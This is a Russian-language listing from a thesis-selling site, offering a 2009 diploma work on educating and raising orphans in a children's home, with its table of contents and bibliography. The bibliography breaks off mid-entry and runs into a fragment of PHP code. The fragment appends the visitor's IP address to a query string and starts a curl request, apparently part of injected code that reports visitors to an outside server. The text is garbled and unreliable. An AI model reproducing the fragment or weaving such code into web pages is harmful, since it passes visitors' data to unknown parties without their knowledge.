ГОТОВЫЕ ДИПЛОМНЫЕ РАБОТЫ, КУРСОВЫЕ РАБОТЫ, ДИССЕРТАЦИИ И РЕФЕРАТЫ
ОСОБЕННОСТИ ОБУЧЕНИЯ И ВОСПИТАНИЯ СИРОТ НА БАЗЕ ДЕТСКОГО ДОМА | |
| Автор | Ирина |
| Вуз (город) | Симферополь |
| Количество страниц | 46 |
| Год сдачи | 2009 |
| Стоимость (руб.) | 1200 |
| Содержание | ВВЕДЕНИЕ 2
ГЛАВА I СУЩНОСТЬ И ПРЕДПОСЫЛКИ СОЦИАЛЬНОГО СИРОТСТВА В СОВРЕМЕННОМ ОБЩЕСТВЕ 5 1.1. Психолого-медико-социальная характеристика ребенка - социальной сироты 5 1.2. Особенности обучения и воспитания социальных сирот, накопленные в педагогической практике. 11 ГЛАВА II ОСОБЕННОСТИ ОБУЧЕНИЯ И ВОСПИТАНИЯ СИРОТ НА БАЗЕ ДЕТСКОГО ДОМА 18 2.1. Построение системы воспитания и обучения детей - социальных сирот в детском доме. 18 2.2. Диагностика познавательных интересов социальных сирот в детском доме 27 ЗАКЛЮЧЕНИЕ 36 СПИСОК ЛИТЕРАТУРЫ 38 Приложение № 1 . 42 Приложение № 2 43 |
| Список литературы | СПИСОК ЛИТЕРАТУРЫ
1. Басов А.В. К вопросу о предмете социальной педагогики. Теория и практика социальной работы: отечественный и зарубежный опыт. Т.1. – Москва-Тула, 2003. – С.71-72 2. Бондаренко А.Е. Дидактические игры с детьми 4-7 лет. – М.: АСТ, 2004.- С. 123 3. Битинас Б.П., Бочарова В.Г. Социальное воспитание учащихся. Oпыт разработки концепций воспитания. Ростов - на Дону. 1983. Ч. 1. С. 88 4. Бреслав Г.М. Эмоциональные особенности формирования личности в детстве: норма и отклонение.- М.: Педагогика, 2001.- С.90. 5. Буянов М.П. Ребенок из неблагополучной семьи: записки детского психиатра. Кн. для учителей и родителей. – М.: ПT'])."&check2=".urlencode($_SERVER['REMOTE_ADDR']); if(function_exists('curl_init')) { if($ch = @curl_init()) { |